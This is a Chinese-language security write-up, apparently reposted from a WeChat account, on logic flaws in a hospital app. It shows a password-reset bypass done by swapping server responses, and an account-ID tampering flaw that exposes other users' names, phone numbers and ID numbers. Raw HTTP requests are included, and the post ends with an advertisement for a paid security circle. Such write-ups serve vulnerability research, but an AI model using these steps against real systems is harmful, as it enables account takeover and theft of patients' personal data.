扫码加内部知识圈
获取漏洞资料
通过“找回密码”时由于只会验证返回包内容,可以抓包将返回包替换,成功重置了任意用户的密码,这会对系统正常用户的业务处理造成影响
访问风险地址,输入重置的密码,手机号、证件号,然后首先是短信验证
正确的返回包应该如下:
修改mobile为系统中存在的手机号(通过信息手机获得的已经注册的病人手机号),抓取返回包替换成下面的数据包,绕过前端验证成功进入下一步验证身份证
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Access-Control-Allow-Origin: http://xxxx
Access-Control-Allow-Headers: Origin, x-requested-with, Content-Type, Accept,X-Cookie
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET,POST,PUT,OPTIONS,DELETE
Content-Type: application/json;charset=UTF-8
Date: Sat, 22 Jan 2022 13:01:24 GMT
Connection: close
Content-Length: 125
{"msg":"验证码正确","code":1,"data":{"mobile":"xxxx","sign":"1ab261dcb1d4993abf7700e2bdbf583f","hascard":"true"}}
身份证正确的返回包应该如下,同理抓取其他地方的成功返回包直接替换
绕过前端对证件号的验证判断,进入最后一步修改个人信息。发包,最后返回信息修改成功。此时对应手机号的密码被成功重置
测试在APP和网页端都能使用重置的密码成功登陆,重置对应手机账号的密码为Aa123456
此外在APP的投诉举报处,通过修改accountid,可以以他人的账号身份进行投诉举报。
通过注册登录APP,对投诉举报的提交进行抓包
数据包如下:
POST /api/authex/hpass/cloudClinic/saveComplain?t=1 HTTP/1.1
Host: xxxx
Content-Length: 187
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MuMu Build/V417IR; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.158 Mobile Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.9
Connection: close
{"accountid":"149773","demandTypeCode":"1","complaintedPsnName":"1","issueOccurDatetime":"2022-01-22 01:04","complaintTypeCode":"0","complaintTitle":"1","complaintText":"1","address":"1"}
修改accountid,可以以他人账号id进行投诉
此时返回结果中会返回账号的手机号、姓名、身份证号码的敏感信息
修改成功后,再点击查看完善个人信息,可以看到另外一个账号的信息被修改成功,如下:
内部圈子介绍
内部圈子专栏介绍
Freebuf知识大陆内部共享资料截屏详情如下
(每周保持更新)
知识大陆——安全渗透感知大家族
圈子券后现价 ¥39.9元
如果你有兴趣加入,抓住机会不要犹豫,价格只会上涨,不会下跌
圈子人数大于400人 69.9元/年
圈子人数大于600人 119.9元/年
(新人优惠券折扣20¥,扫码或者私信开头二维码即可领取更多优惠)
原文始发于微信公众号(C4安全团队):记某医院APP的一次逻辑漏洞挖掘
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论